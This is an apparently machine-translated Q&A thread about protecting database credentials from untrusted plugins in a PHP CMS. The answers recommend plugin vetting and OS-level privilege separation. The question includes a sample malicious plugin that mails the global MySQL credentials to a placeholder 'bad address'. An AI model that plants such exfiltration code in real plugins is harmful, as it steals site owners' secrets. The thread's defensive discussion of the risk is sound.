我有一个问题,这个问题在很长一段时间后都在我脑海中浮现。 我正在进行CMS项目,我真的不知道如何做到这一点: 我希望这个cms可以通过使用插件系统进行修改,直到现在都没有什么困难。 好吧,我现在有这个问题我怎样才能保护像管理员用户的mysql密码一样的变量/常量? 例如,在文件settings.php中我有
$mysql = array("user" => "admin"...);
如何让课程不读? 一个简单的类(插件)可以做
class myplugin extends plugin_container {
function badfunction() {
mail("my bad address", "data stolen", $GLOBALS["mysql"]);
}
以这种方式,一个简单的插件可以窃取用户的敏感数据。我该如何解决这个问题?
答案 0 :(得分:3)
您无法...插件可以执行代码,您无法控制该代码。
然而,您可以逐个批准该插件,以避免出现问题。
答案 1 :(得分:2)
你不能在PHP中真正做到这一点。你可以将varible放在一个对象中,使其成为私有的,但是使用Reflection,其他代码也可以获得它。地狱,即使它不能,仍然有办法让你不应该得到对象的内部,比如var_dump
,debug_zval_dump
等等。
我建议:
通常,当您的代码在某些上下文中运行时(例如在PHP脚本中)并且您希望允许某些模块或插件在相同的上下文中运行,则无法隐藏任何内容。该插件可以访问相同的内存(所有变量),所有开放资源(数据库连接),并且它基本上与该上下文中的任何其他代码无法区分。这同样适用于许多其他环境,例如在OS中运行的本机进程。当然,你可以让“更难”获得一些变量或资源,但你永远无法确保无法访问它。除非您在不同的上下文中运行其他代码(其他进程,虚拟化......)。
答案 2 :(得分:1)
虽然您可以尝试将$ mysql的范围更改为某个本地范围 - 通过调用如下函数来获取数据: function mySafeBox(){ return $ mysql; } 现在,插件代码无法从$ _GLOBALS访问它,但是这样做没有意义......因为你依靠插件使用它...这样,你无法找到一个好的解决方案'这个从未存在过的问题
答案 3 :(得分:0)
PHP不提供内部安全边界设施。大多数语言都是这样的;一个例外是Java。
因此,如果您想在PHP脚本中构建信任边界,则必须通过操作系统级权限分离机制来实现:在具有较低权限的单独用户主体下运行进程,并使用管道进行通信那和主要的可信应用程序。这将需要加载一些不适合通常的PHP调用模型的架构返工。